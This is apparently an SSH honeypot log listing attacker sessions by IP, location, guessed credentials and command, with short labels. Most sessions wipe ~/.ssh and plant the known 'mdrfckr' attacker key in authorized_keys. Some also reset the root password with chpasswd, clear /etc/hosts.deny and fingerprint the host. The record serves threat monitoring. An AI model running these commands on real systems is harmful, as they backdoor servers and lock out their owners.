$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ midnight_dragon_root_25 (121.36.228.25) โ€” Shanghai, China ยท 1 session ยท 1 cmd
2026-07-05 20:03 EDT ยท as root/12345678
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ venomous_lantern (116.177.172.47) โ€” Jinrongjie, China ยท 1 session ยท 1 cmd
2026-07-05 19:55 EDT ยท as deploy/deploy
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ silent_ciao_root (151.60.148.200) โ€” Turin, Italy ยท 1 session ยท 2 cmds
2026-07-05 18:33 EDT ยท as oracle/qwerty123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ weary_wraith_root (20.173.116.24) โ€” Doha, Qatar ยท 1 session ยท 2 cmds
2026-07-05 16:34 EDT ยท as oracle/root123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ placid_bibimbap_root (119.28.161.148) โ€” Seoul, South Korea ยท 2 sessions ยท 21 cmds
2026-07-05 16:13 EDT ยท as oracle/oracle123!@#, root/1234
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:5IU4sDBngRjI"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ midnight_dragon_root (122.13.25.186) โ€” Guangzhou, China ยท 4 sessions ยท 25 cmds
2026-06-25 19:19 EDT ยท as oracle/1qa2ws3ed, oracle/Oracle@2025, oracle/oracle123!@#
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—4
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—4
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:0BzvICPM4BXw"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ vapor_k-pop_root (59.26.132.170) โ€” Jung-gu, South Korea ยท 1 session ยท 20 cmds
2026-07-05 16:04 EDT ยท as admin/admin123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "admin123\n0LmUUBTb1rQW\n0LmUUBTb1rQW"|passwd|bash
$ Enter new UNIX password:
$ echo "admin123\n0LmUUBTb1rQW\n0LmUUBTb1rQW\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ sullen_peak_root_198 (43.155.21.198) โ€” Hong Kong, Hong Kong ยท 1 session ยท 20 cmds
2026-07-05 15:55 EDT ยท as admin/admin123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "admin123\nkYIH9fUMgO9A\nkYIH9fUMgO9A"|passwd|bash
$ Enter new UNIX password:
$ echo "admin123\nkYIH9fUMgO9A\nkYIH9fUMgO9A\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ ironclad_jade_root (8.138.128.98) โ€” Guangzhou, China ยท 30 sessions ยท 30 cmds
2026-07-05 11:30 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—30
๐ŸŽญ venomous_pretzel_db (4.182.219.135) โ€” Frankfurt am Main, Germany ยท 1 session ยท 2 cmds
2026-07-05 11:41 EDT ยท as oracle/123qweasd
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ hollow_garuda_root (118.99.114.224) โ€” East Jakarta, Indonesia ยท 2 sessions ยท 4 cmds
2026-07-05 06:54 EDT ยท as oracle/11111, oracle/admin123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ silent_phantom_root (144.31.156.154) โ€” Helsinki, Finland ยท 1 session ยท 2 cmds
2026-07-05 10:04 EDT ยท as oracle/admin123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rogue_merlion_root (149.34.253.149) โ€” Singapore, Singapore ยท 1 session ยท 2 cmds
2026-07-05 09:11 EDT ยท as oracle/tft105
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ unhinged_cowboy_root_120 (172.202.9.120) โ€” Des Moines, United States ยท 1 session ยท 2 cmds
2026-07-05 08:46 EDT ยท as oracle/tft105
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ silent_dragon_root (123.57.137.86) โ€” Beijing, China ยท 3 sessions ยท 3 cmds
2026-07-05 05:40 EDT ยท as root/admin, root/admin123, root/password
pwd โ†’ history snooping โ†’ ps
$ pwd
$ history | tail -5
โ†ณ history snooping
$ ps aux | head -10
๐ŸŽญ haywire_durian_sol (34.124.225.147) โ€” Singapore, Singapore ยท 1 session ยท 2 cmds
2026-07-05 04:56 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ frantic_tiger_sol (209.38.121.186) โ€” Bengaluru, India ยท 1 session ยท 2 cmds
2026-07-05 04:54 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ weary_monsoon_sol (103.182.132.154) โ€” Delhi, India ยท 1 session ยท 2 cmds
2026-07-05 04:51 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ grumpy_peak_sol (154.221.28.214) โ€” Chai Wan, Hong Kong ยท 1 session ยท 2 cmds
2026-07-05 04:51 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ frantic_mekong_sol (157.66.26.151) โ€” Go Vap, Vietnam ยท 1 session ยท 2 cmds
2026-07-05 04:50 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ scrappy_taco_sol (38.94.97.3) โ€” Mexico City, Mexico ยท 1 session ยท 2 cmds
2026-07-05 04:49 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ ironclad_samba_sol (170.0.62.165) โ€” Surubim, Brazil ยท 1 session ยท 2 cmds
2026-07-05 04:49 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ placid_acai_sol (191.253.105.84) โ€” Blumenau, Brazil ยท 1 session ยท 2 cmds
2026-07-05 04:48 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ wily_acai_sol (177.11.196.79) โ€” Feliz, Brazil ยท 2 sessions ยท 4 cmds
2026-07-03 11:34 EDT ยท as oracle/1234qwer, oracle/Oracle12#$
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
